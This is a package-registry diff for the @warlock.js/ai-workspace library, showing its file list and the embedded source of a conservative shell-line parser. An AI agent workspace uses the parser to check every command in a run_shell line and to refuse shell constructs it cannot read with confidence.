@warlock.js/ai-workspace 5.29.0 → 5.31.0

This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
Files changed (120) hide show
  1. package/CHANGELOG.md +68 -0
  2. package/README.md +40 -21
  3. package/cjs/index.cjs +3295 -360
  4. package/cjs/index.cjs.map +1 -1
  5. package/esm/backends/local.d.mts +1 -1
  6. package/esm/backends/local.d.mts.map +1 -1
  7. package/esm/backends/local.mjs +199 -31
  8. package/esm/backends/local.mjs.map +1 -1
  9. package/esm/backends/mock.d.mts +12 -6
  10. package/esm/backends/mock.d.mts.map +1 -1
  11. package/esm/backends/mock.mjs +45 -3
  12. package/esm/backends/mock.mjs.map +1 -1
  13. package/esm/contracts/index.d.mts +3 -3
  14. package/esm/contracts/tool-io.type.d.mts +248 -11
  15. package/esm/contracts/tool-io.type.d.mts.map +1 -1
  16. package/esm/contracts/workspace-backend.contract.d.mts +78 -2
  17. package/esm/contracts/workspace-backend.contract.d.mts.map +1 -1
  18. package/esm/contracts/workspace-ops.contract.d.mts +41 -16
  19. package/esm/contracts/workspace-ops.contract.d.mts.map +1 -1
  20. package/esm/contracts/workspace-policy.type.d.mts +142 -14
  21. package/esm/contracts/workspace-policy.type.d.mts.map +1 -1
  22. package/esm/contracts/workspace.contract.d.mts +75 -22
  23. package/esm/contracts/workspace.contract.d.mts.map +1 -1
  24. package/esm/errors.d.mts +80 -6
  25. package/esm/errors.d.mts.map +1 -1
  26. package/esm/errors.mjs +23 -2
  27. package/esm/errors.mjs.map +1 -1
  28. package/esm/index.d.mts +13 -5
  29. package/esm/index.mjs +10 -2
  30. package/esm/ops.d.mts +22 -3
  31. package/esm/ops.d.mts.map +1 -1
  32. package/esm/ops.mjs +341 -82
  33. package/esm/ops.mjs.map +1 -1
  34. package/esm/policy/jail.mjs +73 -0
  35. package/esm/policy/jail.mjs.map +1 -0
  36. package/esm/policy/policy.d.mts +26 -16
  37. package/esm/policy/policy.d.mts.map +1 -1
  38. package/esm/policy/policy.mjs +62 -86
  39. package/esm/policy/policy.mjs.map +1 -1
  40. package/esm/policy/shell-check.d.mts +64 -0
  41. package/esm/policy/shell-check.d.mts.map +1 -0
  42. package/esm/policy/shell-check.mjs +627 -0
  43. package/esm/policy/shell-check.mjs.map +1 -0
  44. package/esm/policy/shell-parser.mjs +802 -0
  45. package/esm/policy/shell-parser.mjs.map +1 -0
  46. package/esm/policy/tokenize-command.d.mts +63 -0
  47. package/esm/policy/tokenize-command.d.mts.map +1 -0
  48. package/esm/policy/tokenize-command.mjs +76 -24
  49. package/esm/policy/tokenize-command.mjs.map +1 -1
  50. package/esm/shell-jobs.d.mts +45 -0
  51. package/esm/shell-jobs.d.mts.map +1 -0
  52. package/esm/shell-jobs.mjs +247 -0
  53. package/esm/shell-jobs.mjs.map +1 -0
  54. package/esm/todos.d.mts +22 -0
  55. package/esm/todos.d.mts.map +1 -0
  56. package/esm/todos.mjs +73 -0
  57. package/esm/todos.mjs.map +1 -0
  58. package/esm/tools/edit-file.d.mts +1 -1
  59. package/esm/tools/edit-file.d.mts.map +1 -1
  60. package/esm/tools/edit-file.mjs +3 -2
  61. package/esm/tools/edit-file.mjs.map +1 -1
  62. package/esm/tools/glob.d.mts +1 -1
  63. package/esm/tools/glob.d.mts.map +1 -1
  64. package/esm/tools/glob.mjs +3 -2
  65. package/esm/tools/glob.mjs.map +1 -1
  66. package/esm/tools/grep.d.mts +1 -1
  67. package/esm/tools/grep.d.mts.map +1 -1
  68. package/esm/tools/grep.mjs +3 -2
  69. package/esm/tools/grep.mjs.map +1 -1
  70. package/esm/tools/json-schemas.mjs +175 -0
  71. package/esm/tools/json-schemas.mjs.map +1 -0
  72. package/esm/tools/list-dir.d.mts +32 -0
  73. package/esm/tools/list-dir.d.mts.map +1 -0
  74. package/esm/tools/list-dir.mjs +50 -0
  75. package/esm/tools/list-dir.mjs.map +1 -0
  76. package/esm/tools/multi-edit.d.mts +38 -0
  77. package/esm/tools/multi-edit.d.mts.map +1 -0
  78. package/esm/tools/multi-edit.mjs +121 -0
  79. package/esm/tools/multi-edit.mjs.map +1 -0
  80. package/esm/tools/read-file.d.mts +5 -5
  81. package/esm/tools/read-file.d.mts.map +1 -1
  82. package/esm/tools/read-file.mjs +10 -20
  83. package/esm/tools/read-file.mjs.map +1 -1
  84. package/esm/tools/run-shell.d.mts +39 -13
  85. package/esm/tools/run-shell.d.mts.map +1 -1
  86. package/esm/tools/run-shell.mjs +60 -47
  87. package/esm/tools/run-shell.mjs.map +1 -1
  88. package/esm/tools/run-tests.d.mts +11 -2
  89. package/esm/tools/run-tests.d.mts.map +1 -1
  90. package/esm/tools/run-tests.mjs +15 -7
  91. package/esm/tools/run-tests.mjs.map +1 -1
  92. package/esm/tools/schema.mjs +24 -19
  93. package/esm/tools/schema.mjs.map +1 -1
  94. package/esm/tools/shell-kill.d.mts +25 -0
  95. package/esm/tools/shell-kill.d.mts.map +1 -0
  96. package/esm/tools/shell-kill.mjs +36 -0
  97. package/esm/tools/shell-kill.mjs.map +1 -0
  98. package/esm/tools/shell-output.d.mts +30 -0
  99. package/esm/tools/shell-output.d.mts.map +1 -0
  100. package/esm/tools/shell-output.mjs +49 -0
  101. package/esm/tools/shell-output.mjs.map +1 -0
  102. package/esm/tools/todo.d.mts +43 -0
  103. package/esm/tools/todo.d.mts.map +1 -0
  104. package/esm/tools/todo.mjs +126 -0
  105. package/esm/tools/todo.mjs.map +1 -0
  106. package/esm/tools/write-file.d.mts +1 -1
  107. package/esm/tools/write-file.d.mts.map +1 -1
  108. package/esm/tools/write-file.mjs +3 -2
  109. package/esm/tools/write-file.mjs.map +1 -1
  110. package/esm/workspace.d.mts +12 -9
  111. package/esm/workspace.d.mts.map +1 -1
  112. package/esm/workspace.mjs +109 -28
  113. package/esm/workspace.mjs.map +1 -1
  114. package/llms-full.txt +192 -35
  115. package/llms.txt +1 -1
  116. package/package.json +5 -4
  117. package/skills/README.md +2 -2
  118. package/skills/build-loop-agent/SKILL.md +7 -7
  119. package/skills/index.md +6 -1
  120. package/skills/use-a-workspace/SKILL.md +185 -28
@@ -0,0 +1 @@
1
+ {"version":3,"file":"shell-parser.mjs","names":[],"sources":["../../../../../../../../packages/ai-workspace/src/policy/shell-parser.ts"],"sourcesContent":["/**\n * A deliberately conservative parser for the command lines `run_shell`\n * hands to a shell when the policy opts in to `interpreter: \"sh\"`.\n *\n * Its only job is to find **every simple command** a line would run — so\n * the policy can check each one — plus every redirection target. It is not\n * a shell: it never expands anything. What it cannot read with confidence\n * it refuses, because a construct the parser misreads is a construct a\n * denied command can hide in. `/bin/sh` is bash on some systems, dash or\n * busybox ash on others, so constructs that those shells read differently\n * (bash-only syntax such as `<<<`, `&>`, `$'…'`, brace expansion, `[[`,\n * arithmetic) are refused as well.\n *\n * Two dialects:\n * - `\"posix\"` — what `/bin/sh -c` reads: `;`, `&&`, `||`, `|`, `&`,\n * newlines, comments, `( … )` subshells, `$( … )` and backtick command\n * substitution (parsed recursively), `$name` / `${name…}` parameter\n * expansion (a restricted set of forms), single and double quotes,\n * backslash escapes, redirections and here-documents.\n * - `\"cmd\"` — what `cmd.exe /d /v:off /s /c` reads, restricted to the\n * subset whose meaning is unambiguous: `&&`, `||`, `|`, `&` (sequential\n * in cmd), double quotes and simple redirections. `%`, `!`, `^`,\n * parentheses, `;` and `,` are refused.\n */\n\n/** Which shell grammar to parse. */\nexport type ShellDialect = \"posix\" | \"cmd\";\n\n/** One word of a simple command, after quote removal. */\nexport interface ShellWord {\n /** The word exactly as written. */\n raw: string;\n /**\n * The word's text after quote removal and escapes. Expansions\n * (`$HOME`, `$(…)`, backticks) are kept as their source text — their real\n * value is only known when the shell runs.\n */\n value: string;\n /**\n * True when the shell decides part of the word at run time: a parameter\n * expansion, a command substitution, an unquoted glob character\n * (`*`, `?`, `[`) or a leading `~`.\n */\n dynamic: boolean;\n /** True when any part of the word was quoted or escaped. */\n quoted: boolean;\n /** For a `NAME=value` assignment word, the variable name. */\n assignmentName?: string;\n}\n\n/** A redirection attached to a simple command (or a subshell). */\nexport interface ShellRedirect {\n /** The operator: `>`, `>>`, `>|`, `<`, `<>`, `>&`, `<&`, `<<` or `<<-`. */\n op: string;\n /** Explicit file descriptor (`2>`), when written. */\n fd?: number;\n /** The target word (file, descriptor number or here-doc delimiter). */\n target: ShellWord;\n /**\n * `\"read\"` / `\"write\"` — a file target; `\"dup\"` — a descriptor copy or\n * close (`2>&1`, `>&-`); `\"heredoc\"` — inline input.\n */\n type: \"read\" | \"write\" | \"dup\" | \"heredoc\";\n}\n\n/** A simple command: assignments, words and redirections. */\nexport interface ShellSimpleCommand {\n /** Leading `NAME=value` words. */\n assignments: ShellWord[];\n /** The command's words — `words[0]` is the command name. Empty for a redirect- or assignment-only command. */\n words: ShellWord[];\n /** Redirections, in order. */\n redirects: ShellRedirect[];\n /** The command's source text (for messages). */\n source: string;\n}\n\n/** A top-level piece of the line and the operator that follows it. */\nexport interface ShellSegment {\n /** Source text of the pipeline. */\n source: string;\n /** The list operator after it (`&&`, `||`, `;`, `&`, a newline), if any. */\n operator?: string;\n}\n\n/** Outcome of {@link parseShellLine}. */\nexport type ShellParseResult =\n | {\n ok: true;\n /** Every simple command, in the order the shell meets them (substitutions first). */\n commands: ShellSimpleCommand[];\n /** The top-level pipelines and the operators joining them. */\n segments: ShellSegment[];\n /** True when the line backgrounds anything with `&` (POSIX dialect). */\n background: boolean;\n }\n | {\n ok: false;\n /** Why the line was refused. */\n reason: \"unbalanced-quotes\" | \"unsupported-syntax\";\n /** What was refused and why, for the model. */\n message: string;\n };\n\n/** Deepest nesting of subshells and substitutions the parser accepts. */\nconst MAX_NESTING = 16;\n\n/**\n * Words that start a compound command (or negate a pipeline) when they\n * appear unquoted in command position. The parser does not read compound\n * commands, so a line using one is refused.\n */\nconst RESERVED_WORDS = new Set([\n \"!\",\n \"{\",\n \"}\",\n \"[[\",\n \"]]\",\n \"case\",\n \"coproc\",\n \"do\",\n \"done\",\n \"elif\",\n \"else\",\n \"esac\",\n \"fi\",\n \"for\",\n \"function\",\n \"if\",\n \"in\",\n \"select\",\n \"then\",\n \"until\",\n \"while\",\n]);\n\n/** cmd.exe keywords the `\"cmd\"` dialect refuses in command position. */\nconst CMD_RESERVED_WORDS = new Set([\"if\", \"for\", \"goto\", \"setlocal\", \"endlocal\"]);\n\n/** A parameter name inside `${…}`: a variable, a positional or a special parameter. */\nconst PARAMETER_NAME = String.raw`(?:[A-Za-z_][A-Za-z0-9_]*|[0-9]+|[@*#?$!-])`;\n\n/**\n * The default/pattern word of `${name:-word}` / `${name%word}`: no quotes,\n * no nested expansion or substitution, no braces or parentheses, no `@`.\n */\nconst PARAMETER_WORD = \"[^`$'\\\"\\\\\\\\{}()@\\\\n]*\";\n\n/**\n * Allowed `${…}` forms: `${name}`, `${#name}`, `${name-word}`,\n * `${name:-word}` (also `=`, `+`, `?`), `${name%word}`, `${name%%word}`,\n * `${name#word}`, `${name##word}`. Everything else — substrings and\n * subscripts (arithmetic in bash), `${!name}`, `${name@op}`, pattern\n * substitution — is refused.\n */\nconst PARAMETER_EXPANSION = new RegExp(\n `^(?:#${PARAMETER_NAME}|${PARAMETER_NAME}(?:(?::?[-=+?]|%%?|##?)${PARAMETER_WORD})?)$`,\n);\n\n/** A refusal raised while parsing; caught by {@link parseShellLine}. */\nclass ShellSyntaxRefusal extends Error {\n public constructor(\n public readonly reason: \"unbalanced-quotes\" | \"unsupported-syntax\",\n message: string,\n ) {\n super(message);\n }\n}\n\n/** Refuse a construct the parser does not read with confidence. */\nfunction unsupported(message: string): ShellSyntaxRefusal {\n return new ShellSyntaxRefusal(\"unsupported-syntax\", message);\n}\n\n/** Refuse an unterminated quote / substitution. */\nfunction unbalanced(message: string): ShellSyntaxRefusal {\n return new ShellSyntaxRefusal(\"unbalanced-quotes\", message);\n}\n\n/** State shared by a parser and the nested parsers it starts (backticks, here-docs). */\ninterface SharedState {\n commands: ShellSimpleCommand[];\n background: boolean;\n nesting: number;\n}\n\n/** A here-document whose body starts after the next newline. */\ninterface PendingHeredoc {\n delimiter: string;\n stripTabs: boolean;\n expand: boolean;\n}\n\n/** Parser for the POSIX `sh` dialect. */\nclass PosixParser {\n private pos = 0;\n\n private pendingHeredocs: PendingHeredoc[] = [];\n\n public constructor(\n private readonly src: string,\n private readonly state: SharedState,\n ) {}\n\n /** Parse the whole line as a command list. */\n public parseProgram(segments: ShellSegment[]): void {\n this.parseList(null, segments);\n this.assertNoPendingHeredocs();\n }\n\n /** Parse the contents of a backtick substitution (a full list until EOF). */\n public parseNestedProgram(): void {\n this.parseList(null, undefined);\n this.assertNoPendingHeredocs();\n }\n\n /**\n * Scan an unquoted-delimiter here-document body: `$…`, `${…}`, `$(…)` and\n * backticks expand there exactly as inside double quotes (but `\"` is an\n * ordinary character), so any command substitution in it runs.\n */\n public parseExpandingText(): void {\n while (!this.atEnd()) {\n const char = this.peek();\n\n if (char === \"\\\\\") {\n this.pos += 2;\n\n continue;\n }\n\n if (char === \"$\") {\n this.parseDollar(\"heredoc\");\n\n continue;\n }\n\n if (char === \"`\") {\n this.parseBackticks(false);\n\n continue;\n }\n\n this.pos++;\n }\n }\n\n private atEnd(): boolean {\n return this.pos >= this.src.length;\n }\n\n private peek(offset = 0): string {\n return this.src.charAt(this.pos + offset);\n }\n\n private assertNoPendingHeredocs(): void {\n if (this.pendingHeredocs.length > 0) {\n throw unsupported(\n `The here-document delimited by \\`${this.pendingHeredocs[0]?.delimiter ?? \"\"}\\` is never terminated.`,\n );\n }\n }\n\n private enterNesting(): void {\n this.state.nesting++;\n\n if (this.state.nesting > MAX_NESTING) {\n throw unsupported(\"The line nests subshells or substitutions too deeply.\");\n }\n }\n\n private exitNesting(): void {\n this.state.nesting--;\n }\n\n /** Skip spaces, tabs and backslash-newline continuations. */\n private skipBlanks(): void {\n while (!this.atEnd()) {\n const char = this.peek();\n\n if (char === \" \" || char === \"\\t\") {\n this.pos++;\n\n continue;\n }\n\n if (char === \"\\\\\" && this.peek(1) === \"\\n\") {\n this.pos += 2;\n\n continue;\n }\n\n break;\n }\n }\n\n /** Skip a `#` comment up to (not including) the newline. */\n private skipComment(): void {\n const newline = this.src.indexOf(\"\\n\", this.pos);\n\n this.pos = newline === -1 ? this.src.length : newline;\n }\n\n /** Consume one newline and read any here-document bodies queued before it. */\n private consumeNewline(): void {\n this.pos++;\n\n if (this.pendingHeredocs.length === 0) {\n return;\n }\n\n if (this.state.nesting > 0) {\n throw unsupported(\"Here-documents inside subshells or substitutions are not supported.\");\n }\n\n const pending = this.pendingHeredocs;\n\n this.pendingHeredocs = [];\n\n for (const heredoc of pending) {\n this.readHeredocBody(heredoc);\n }\n }\n\n /** Skip blanks, comments and newlines (separators between commands). */\n private skipBlanksAndNewlines(): void {\n while (!this.atEnd()) {\n this.skipBlanks();\n\n if (this.peek() === \"#\") {\n this.skipComment();\n\n continue;\n }\n\n if (this.peek() === \"\\n\") {\n this.consumeNewline();\n\n continue;\n }\n\n break;\n }\n }\n\n private readHeredocBody(heredoc: PendingHeredoc): void {\n const bodyLines: string[] = [];\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n if (this.atEnd()) {\n throw unsupported(\n `The here-document delimited by \\`${heredoc.delimiter}\\` is never terminated.`,\n );\n }\n\n const lineEnd = this.src.indexOf(\"\\n\", this.pos);\n const line = lineEnd === -1 ? this.src.slice(this.pos) : this.src.slice(this.pos, lineEnd);\n const compared = heredoc.stripTabs ? line.replace(/^\\t+/, \"\") : line;\n\n this.pos = lineEnd === -1 ? this.src.length : lineEnd + 1;\n\n if (compared === heredoc.delimiter) {\n break;\n }\n\n bodyLines.push(compared);\n }\n\n if (heredoc.expand) {\n new PosixParser(bodyLines.join(\"\\n\"), this.state).parseExpandingText();\n }\n }\n\n /**\n * Parse a command list until `closing` (`\")\"`) or the end of the input.\n * `segments`, when given, collects the top-level pipelines.\n */\n private parseList(closing: string | null, segments: ShellSegment[] | undefined): void {\n let sawCommand = false;\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n this.skipBlanksAndNewlines();\n\n if (this.atEnd()) {\n if (closing !== null) {\n throw unbalanced(`A \\`(\\` or \\`$(\\` is never closed with \\`${closing}\\`.`);\n }\n\n break;\n }\n\n if (closing !== null && this.peek() === closing) {\n break;\n }\n\n const start = this.pos;\n\n this.parsePipeline(closing);\n\n const end = this.pos;\n\n sawCommand = true;\n this.skipBlanks();\n\n if (this.peek() === \"#\") {\n this.skipComment();\n }\n\n const operator = this.readListOperator();\n\n segments?.push({\n source: this.src.slice(start, end).trim(),\n ...(operator !== null ? { operator } : {}),\n });\n\n if (operator === \"&&\" || operator === \"||\") {\n this.skipBlanksAndNewlines();\n\n if (this.atEnd() || (closing !== null && this.peek() === closing)) {\n throw unsupported(`The line ends with \\`${operator}\\` but no command follows it.`);\n }\n\n continue;\n }\n\n if (operator === \"&\") {\n this.state.background = true;\n }\n\n if (operator === null) {\n if (this.atEnd() || (closing !== null && this.peek() === closing)) {\n break;\n }\n\n throw unsupported(`Unexpected \\`${this.peek()}\\`.`);\n }\n }\n\n if (!sawCommand) {\n throw unsupported(closing === null ? \"The command is empty.\" : \"A `( )` or `$( )` is empty.\");\n }\n }\n\n /** Read `&&`, `||`, `;`, `&` or a newline after a pipeline. */\n private readListOperator(): string | null {\n const char = this.peek();\n const next = this.peek(1);\n\n if (char === \"&\") {\n if (next === \"&\") {\n this.pos += 2;\n\n return \"&&\";\n }\n\n if (next === \">\") {\n throw unsupported(\n \"`&>` (redirect both streams) is not portable; write `> file 2>&1` instead.\",\n );\n }\n\n this.pos++;\n\n return \"&\";\n }\n\n if (char === \"|\" && next === \"|\") {\n this.pos += 2;\n\n return \"||\";\n }\n\n if (char === \";\") {\n if (next === \";\") {\n throw unsupported(\"`;;` (a `case` clause) is not supported.\");\n }\n\n this.pos++;\n\n return \";\";\n }\n\n if (char === \"\\n\") {\n this.consumeNewline();\n\n return \"\\n\";\n }\n\n return null;\n }\n\n private parsePipeline(closing: string | null): void {\n this.parseCommand(closing);\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n this.skipBlanks();\n\n if (this.peek() !== \"|\" || this.peek(1) === \"|\") {\n return;\n }\n\n if (this.peek(1) === \"&\") {\n throw unsupported(\"`|&` is not portable; write `2>&1 |` instead.\");\n }\n\n this.pos++;\n this.skipBlanksAndNewlines();\n\n if (this.atEnd() || (closing !== null && this.peek() === closing)) {\n throw unsupported(\"The line ends with `|` but no command follows it.\");\n }\n\n this.parseCommand(closing);\n }\n }\n\n private parseCommand(closing: string | null): void {\n this.skipBlanks();\n\n if (this.peek() === \"(\") {\n if (this.peek(1) === \"(\") {\n throw unsupported(\"`((…))` (arithmetic) is not supported.\");\n }\n\n this.parseSubshell();\n\n return;\n }\n\n if (this.peek() === \")\") {\n throw unsupported(closing === null ? \"Unexpected `)`.\" : \"A `( )` or `$( )` is empty.\");\n }\n\n this.parseSimpleCommand();\n }\n\n private parseSubshell(): void {\n const start = this.pos;\n\n this.pos++;\n this.enterNesting();\n this.parseList(\")\", undefined);\n\n if (this.peek() !== \")\") {\n throw unbalanced(\"A `(` is never closed with `)`.\");\n }\n\n this.pos++;\n this.exitNesting();\n\n // Redirections may follow the closing parenthesis; nothing else may.\n const redirects: ShellRedirect[] = [];\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n this.skipBlanks();\n\n if (!this.atRedirectStart()) {\n break;\n }\n\n redirects.push(this.parseRedirect());\n }\n\n if (redirects.length > 0) {\n this.state.commands.push({\n assignments: [],\n words: [],\n redirects,\n source: this.src.slice(start, this.pos).trim(),\n });\n }\n\n if (!this.atEnd() && !this.atOperatorBoundary()) {\n throw unsupported(\"Only an operator or a redirection may follow `)`.\");\n }\n }\n\n /** Whether the next character ends a simple command. */\n private atOperatorBoundary(): boolean {\n const char = this.peek();\n\n return (\n char === \"\\n\" ||\n char === \";\" ||\n char === \"&\" ||\n char === \"|\" ||\n char === \")\" ||\n char === \"#\" ||\n char === \" \" ||\n char === \"\\t\"\n );\n }\n\n /** Whether a redirection starts here (`>`, `<`, or digits glued to one). */\n private atRedirectStart(): boolean {\n let index = this.pos;\n\n while (index < this.src.length && /[0-9]/.test(this.src.charAt(index))) {\n index++;\n }\n\n const char = this.src.charAt(index);\n\n return char === \"<\" || char === \">\";\n }\n\n private parseSimpleCommand(): void {\n const start = this.pos;\n const command: ShellSimpleCommand = { assignments: [], words: [], redirects: [], source: \"\" };\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n this.skipBlanks();\n\n if (this.atEnd()) {\n break;\n }\n\n const char = this.peek();\n\n if (char === \"\\n\" || char === \";\" || char === \"&\" || char === \"|\" || char === \")\") {\n break;\n }\n\n if (char === \"(\") {\n throw unsupported(\n \"`(` is only supported at the start of a command (a subshell); quote it to pass it as text.\",\n );\n }\n\n if (char === \"#\") {\n this.skipComment();\n\n break;\n }\n\n if (this.atRedirectStart()) {\n command.redirects.push(this.parseRedirect());\n\n continue;\n }\n\n const word = this.parseWord();\n\n if (command.words.length === 0 && word.assignmentName !== undefined) {\n command.assignments.push(word);\n\n continue;\n }\n\n command.words.push(word);\n\n if (command.words.length === 1 && !word.quoted && RESERVED_WORDS.has(word.value)) {\n throw unsupported(\n `\\`${word.value}\\` starts a shell compound command, which is not supported; run the commands one at a time.`,\n );\n }\n }\n\n if (\n command.words.length === 0 &&\n command.assignments.length === 0 &&\n command.redirects.length === 0\n ) {\n throw unsupported(\"The line has an empty command (two operators in a row?).\");\n }\n\n command.source = this.src.slice(start, this.pos).trim();\n this.state.commands.push(command);\n }\n\n private parseRedirect(): ShellRedirect {\n let digits = \"\";\n\n while (/[0-9]/.test(this.peek())) {\n digits += this.peek();\n this.pos++;\n }\n\n const rest = this.src.slice(this.pos, this.pos + 3);\n let op: string;\n\n if (rest.startsWith(\"<<<\")) {\n throw unsupported(\"`<<<` (a here-string) is not portable; use a here-document.\");\n } else if (rest.startsWith(\"<<-\")) {\n op = \"<<-\";\n } else if (rest.startsWith(\"<<\")) {\n op = \"<<\";\n } else if (rest.startsWith(\"<>\")) {\n op = \"<>\";\n } else if (rest.startsWith(\"<&\")) {\n op = \"<&\";\n } else if (rest.startsWith(\"<(\") || rest.startsWith(\">(\")) {\n throw unsupported(\"Process substitution (`<(…)`, `>(…)`) is not supported.\");\n } else if (rest.startsWith(\">>\")) {\n op = \">>\";\n } else if (rest.startsWith(\">|\")) {\n op = \">|\";\n } else if (rest.startsWith(\">&\")) {\n op = \">&\";\n } else {\n op = this.peek();\n }\n\n this.pos += op.length;\n\n const fd = digits === \"\" ? undefined : Number(digits);\n\n this.skipBlanks();\n\n if (this.atEnd() || /[\\n;&|<>()]/.test(this.peek())) {\n throw unsupported(`The redirection \\`${op}\\` has no target.`);\n }\n\n const target = this.parseWord();\n\n if (op === \"<<\" || op === \"<<-\") {\n if (this.state.nesting > 0) {\n throw unsupported(\"Here-documents inside subshells or substitutions are not supported.\");\n }\n\n if (target.dynamic) {\n throw unsupported(\"A here-document delimiter must be literal text.\");\n }\n\n this.pendingHeredocs.push({\n delimiter: target.value,\n stripTabs: op === \"<<-\",\n expand: !target.quoted,\n });\n\n return { op, ...(fd !== undefined ? { fd } : {}), target, type: \"heredoc\" };\n }\n\n if (op === \">&\" || op === \"<&\") {\n if (target.dynamic || !/^(?:[0-9]+|-)$/.test(target.value)) {\n throw unsupported(\n `\\`${op}${target.raw}\\` is not portable; write \\`> file 2>&1\\` to send both streams to a file.`,\n );\n }\n\n return { op, ...(fd !== undefined ? { fd } : {}), target, type: \"dup\" };\n }\n\n return {\n op,\n ...(fd !== undefined ? { fd } : {}),\n target,\n type: op === \"<\" ? \"read\" : \"write\",\n };\n }\n\n /** Parse one unquoted-context word. */\n private parseWord(): ShellWord {\n const start = this.pos;\n let value = \"\";\n let dynamic = false;\n let quoted = false;\n let braces = false;\n let nameCandidate = true;\n let assignmentName: string | undefined;\n\n while (!this.atEnd()) {\n const char = this.peek();\n\n if (\n char === \" \" ||\n char === \"\\t\" ||\n char === \"\\n\" ||\n char === \";\" ||\n char === \"&\" ||\n char === \"|\" ||\n char === \"<\" ||\n char === \">\" ||\n char === \"(\" ||\n char === \")\"\n ) {\n break;\n }\n\n if (char === \"\\r\" || char === \"\\0\") {\n throw unsupported(\"Carriage returns and NUL bytes are not supported in a command line.\");\n }\n\n if (char === \"\\\\\") {\n const next = this.peek(1);\n\n if (next === \"\") {\n throw unsupported(\"The line ends with a backslash.\");\n }\n\n this.pos += 2;\n\n if (next !== \"\\n\") {\n value += next;\n quoted = true;\n nameCandidate = false;\n }\n\n continue;\n }\n\n if (char === \"'\") {\n const closing = this.src.indexOf(\"'\", this.pos + 1);\n\n if (closing === -1) {\n throw unbalanced(\"A `'` quote is never closed.\");\n }\n\n value += this.src.slice(this.pos + 1, closing);\n quoted = true;\n nameCandidate = false;\n this.pos = closing + 1;\n\n continue;\n }\n\n if (char === '\"') {\n const part = this.parseDoubleQuoted();\n\n value += part.value;\n dynamic = dynamic || part.dynamic;\n quoted = true;\n nameCandidate = false;\n\n continue;\n }\n\n if (char === \"$\") {\n const part = this.parseDollar(\"unquoted\");\n\n value += part.text;\n dynamic = dynamic || part.dynamic;\n nameCandidate = false;\n\n continue;\n }\n\n if (char === \"`\") {\n value += this.parseBackticks(false);\n dynamic = true;\n nameCandidate = false;\n\n continue;\n }\n\n if (char === \"=\" && nameCandidate && assignmentName === undefined) {\n if (/^[A-Za-z_][A-Za-z0-9_]*$/.test(value)) {\n assignmentName = value;\n }\n\n nameCandidate = false;\n } else if (!/[A-Za-z0-9_]/.test(char)) {\n nameCandidate = false;\n }\n\n if (char === \"*\" || char === \"?\" || char === \"[\") {\n dynamic = true;\n }\n\n if (char === \"~\") {\n const previous = this.src.charAt(this.pos - 1);\n\n if (\n this.pos === start ||\n (assignmentName !== undefined && (previous === \"=\" || previous === \":\"))\n ) {\n dynamic = true;\n }\n }\n\n if (char === \"{\" || char === \"}\") {\n braces = true;\n }\n\n value += char;\n this.pos++;\n }\n\n const raw = this.src.slice(start, this.pos);\n\n if (braces && raw !== \"{}\") {\n throw unsupported(\n `Unquoted \\`{\\` or \\`}\\` in \\`${raw}\\` (brace expansion or a command group) is not supported; quote it.`,\n );\n }\n\n // A lone `[` or `]` is never a glob (it is the `test` command or its end).\n if (raw === \"[\" || raw === \"]\") {\n dynamic = false;\n }\n\n return {\n raw,\n value,\n dynamic,\n quoted,\n ...(assignmentName !== undefined ? { assignmentName } : {}),\n };\n }\n\n /** Parse a `\"…\"` span (cursor on the opening quote). */\n private parseDoubleQuoted(): { value: string; dynamic: boolean } {\n this.pos++;\n\n let value = \"\";\n let dynamic = false;\n\n // eslint-disable-next-line no-constant-condition\n while (true) {\n if (this.atEnd()) {\n throw unbalanced('A `\"` quote is never closed.');\n }\n\n const char = this.peek();\n\n if (char === '\"') {\n this.pos++;\n\n return { value, dynamic };\n }\n\n if (char === \"\\0\") {\n throw unsupported(\"NUL bytes are not supported in a command line.\");\n }\n\n if (char === \"\\\\\") {\n const next = this.peek(1);\n\n if (next === \"\") {\n throw unbalanced('A `\"` quote is never closed.');\n }\n\n if (next === \"$\" || next === \"`\" || next === '\"' || next === \"\\\\\") {\n value += next;\n this.pos += 2;\n\n continue;\n }\n\n if (next === \"\\n\") {\n this.pos += 2;\n\n continue;\n }\n\n value += char;\n this.pos++;\n\n continue;\n }\n\n if (char === \"$\") {\n const part = this.parseDollar(\"dquote\");\n\n value += part.text;\n dynamic = dynamic || part.dynamic;\n\n continue;\n }\n\n if (char === \"`\") {\n value += this.parseBackticks(true);\n dynamic = true;\n\n continue;\n }\n\n value += char;\n this.pos++;\n }\n }\n\n /** Parse a `$…` expansion (cursor on the `$`). */\n private parseDollar(context: \"unquoted\" | \"dquote\" | \"heredoc\"): {\n text: string;\n dynamic: boolean;\n } {\n const start = this.pos;\n const next = this.peek(1);\n\n if (next === \"(\") {\n if (this.peek(2) === \"(\") {\n throw unsupported(\"`$((…))` (arithmetic expansion) is not supported.\");\n }\n\n this.pos += 2;\n this.enterNesting();\n this.parseList(\")\", undefined);\n\n if (this.peek() !== \")\") {\n throw unbalanced(\"A `$(` is never closed with `)`.\");\n }\n\n this.pos++;\n this.exitNesting();\n\n return { text: this.src.slice(start, this.pos), dynamic: true };\n }\n\n if (next === \"{\") {\n const closing = this.src.indexOf(\"}\", this.pos + 2);\n\n if (closing === -1) {\n throw unbalanced(\"A `${` is never closed with `}`.\");\n }\n\n const body = this.src.slice(this.pos + 2, closing);\n\n if (!PARAMETER_EXPANSION.test(body)) {\n throw unsupported(\n `\\`\\${${body}}\\` is not a supported parameter expansion; use \\`$name\\`, \\`\\${name}\\` or \\`\\${name:-default}\\`.`,\n );\n }\n\n this.pos = closing + 1;\n\n return { text: this.src.slice(start, this.pos), dynamic: true };\n }\n\n if (next === \"[\") {\n throw unsupported(\"`$[…]` (arithmetic expansion) is not supported.\");\n }\n\n if (context === \"unquoted\" && (next === \"'\" || next === '\"')) {\n throw unsupported(`\\`$${next}…${next}\\` quoting is not portable; use plain quotes.`);\n }\n\n if (/[A-Za-z_]/.test(next)) {\n this.pos += 2;\n\n while (/[A-Za-z0-9_]/.test(this.peek())) {\n this.pos++;\n }\n\n return { text: this.src.slice(start, this.pos), dynamic: true };\n }\n\n if (/[0-9@*#?$!-]/.test(next) && next !== \"\") {\n this.pos += 2;\n\n return { text: this.src.slice(start, this.pos), dynamic: true };\n }\n\n // A `$` followed by anything else is an ordinary character.\n this.pos++;\n\n return { text: \"$\", dynamic: false };\n }\n\n /** Parse 